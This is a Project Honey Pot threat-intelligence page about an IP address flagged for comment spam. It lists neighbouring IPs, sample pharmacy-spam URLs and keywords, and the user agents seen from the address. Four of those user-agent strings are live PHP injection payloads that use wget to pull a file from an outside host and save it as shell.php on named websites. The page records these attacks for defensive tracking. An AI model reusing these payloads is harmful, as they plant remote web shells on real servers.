IP Address Inspector

ATTENTION

This IP has not seen any suspicious activity within the last 3 months. This IP is most likely clean and trustworthy now. (This record will remain public for historical purposes, however.)

151.80.238.152

The Project Honey Pot system has detected behavior from the IP address consistent with that of a comment spammer. Below we've reported some other data associated with this IP. This interrelated data helps map spammers' networks and aids in law enforcement efforts. If you know something about this IP, please leave a comment.

Geographic Location	Great Britain
Spider First Seen	approximately 7 years, 5 months, 3 weeks ago
Spider Last Seen	within 6 years, 1 month, 4 weeks
Spider Sightings	12,321 visit(s)
User-Agents	seen with 30 user-agent(s)

First Post On	approximately 7 years, 5 months, 3 weeks ago
Last Post On	within 6 years, 3 months, 2 weeks
Form Posts	2,765 web post submission(s) sent from this IP

IPs In The Neighborhood
151.80.237.221
151.80.237.222
151.80.237.237 \| S
151.80.237.248
151.80.237.251
151.80.238.18
151.80.238.21
151.80.238.24
151.80.238.28
151.80.238.29
151.80.238.32
151.80.238.79
151.80.238.86
151.80.238.95
151.80.238.111 \| S
151.80.238.122 \| SD
151.80.238.130
151.80.238.140
151.80.238.142
151.80.238.150
151.80.238.153
151.80.238.235
151.80.239.41 \| S
151.80.239.73 \| S
151.80.239.90

Sample Spam URLs & Keywords Posted From 151.80.238.152

Domain: www.tgchat.co.uk
URL: http://www.tgchat.co.uk/node/13434
Keywords: buy zanaflex 4mg

Domain: dawahnigeria.com
URL: http://dawahnigeria.com/articles/miscellaneous/zyprexa-purchase-olanzapine
Keywords: buy zanaflex 4mg

Domain: q2a.esy.es
URL: http://q2a.esy.es/xdelta/?q=node/1752
Keywords: buy zanaflex 4mg

Domain: www.messenonline24.de
URL: http://www.messenonline24.de/en/forum/diclofenac-buy-over-counter
Keywords: buy zanaflex 4mg

Domain: www.zenengo.fr
URL: http://www.zenengo.fr/?q=node/3098
Keywords: buy zanaflex 4mg

Domain: littlhuman.ru
URL: http://littlhuman.ru/node/6824
Keywords: buy zanaflex 4mg

Domain: lagervarer.dk
URL: http://lagervarer.dk/forum/emner/indocin-where-buy-online
Keywords: buy zanaflex 4mg

Domain: hodogaya.catholic.ne.jp
URL: http://hodogaya.catholic.ne.jp/en/node/15939
Keywords: buy zanaflex 4mg

Domain: ruspixel.ru
URL: http://ruspixel.ru/abilify-buy-aripiprazole
Keywords: buy zanaflex 4mg

Domain: t.printscanner.ru
URL: http://t.printscanner.ru/node/887
Keywords: buy zanaflex 4mg

Domain: tmc.sociusigb.com
URL: http://tmc.sociusigb.com/content/silagra-buy-150-overnight-delivery
Keywords: buy zanaflex 4mg

Domain: www.ratetter.com
URL: http://www.ratetter.com/?q=node/72116
Keywords: buy zanaflex 4mg

Domain: www.tgchat.co.uk
URL: http://www.tgchat.co.uk/node/13434
Keywords: where to buy sominex

Domain: dawahnigeria.com
URL: http://dawahnigeria.com/articles/miscellaneous/zyprexa-purchase-olanzapine
Keywords: buy zyprexa 20mg

Domain: q2a.esy.es
URL: http://q2a.esy.es/xdelta/?q=node/1752
Keywords: cheapest place to buy abilify

151.80.238.152's User Agent Strings

Acoon Robot v1.52 (http://www.acoon.de)

AfD-Verbotsverfahren JETZT!

check_http/v1.4.15-61-g4d527 (nagios-plugins 1.4.15)

(compatible;

Java/1.8.0_101

<?php system('wget "101.99.5.63/doh.txt?h=www.futurebrain.ee&f=mod" -O shell.php');?>

<?php system('wget "101.99.5.63/doh.txt?h=www.toonuspluss.ee&f=file" -O shell.php');?>

<?php system('wget "101.99.5.63/doh.txt?h=www.verkehrsforum-braunschweig.de&f=mod" -O shell.php');?>

<?php system('wget "101.99.5.63/doh.txt?h=www.verkehrsinfo-braunschweig.de&f=category" -O shell.php');?>

Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)

Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.8.0

Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)

Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 GTB6.6 .NET CLR 1.1.4322 .NET CLR 2.0.50727 .NET CLR 3.0.04506.30 InfoPath.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPath.3)

Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 GTB6.6 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Center PC 6.0 .NET4.0C Tablet PC 2.0)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)

Mozilla/5.0 (ABE, http://noscript.net/abe/wan)

Mozilla/5.0 (Android; Mobile; rv:38.0) Gecko/38.0 Firefox/38.0

Mozilla/5.0 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)

Mozilla/5.0 (compatible; domain/1.0;

1 comment(s) - Comment on this IP | Collapse All

A.B78 commented...

This is a TOR exit node, because of your list being included in several IP-Filters i'm not able to access some Websites!
Please make it clear to people subscribing to your list that one should not simply block those adresses when they want to read websites.

I, being myself a part time "webmaster" fully understand the reason for blocking malicious users when your server isn't fast enough to do proper filtering. But some websites block just anyone on your list from even simple GET Request!

I would like complain to the websites in question directly but i am blocked from accessing them, also distributors of such lists should at least inform their users about these issues.
From reading the comments on other IP's here, is my quick fix for your security problems: just uninstall PHP.
August 22 2017 02:10 PM

Page generated on: April 25 2024 08:00:23 AM

Please note: being listed on these pages does not necessarily mean an IP address, domain name, or any other information is owned by a spammer. For example, it may have been hijacked from its true owner and used by a spammer.

Want to keep this IP address off your website? Start taking advantage of http:BL.

If you are the owner of this IP address, you can whitelist it by connecting to this page from the IP itself (or from an IP within /24). Alternatively, the IP will be auto excused after 90 days of no activity.

151.80.238.152 | C

Advertisements displayed on this page are not necessarily endorsed by Project Honey Pot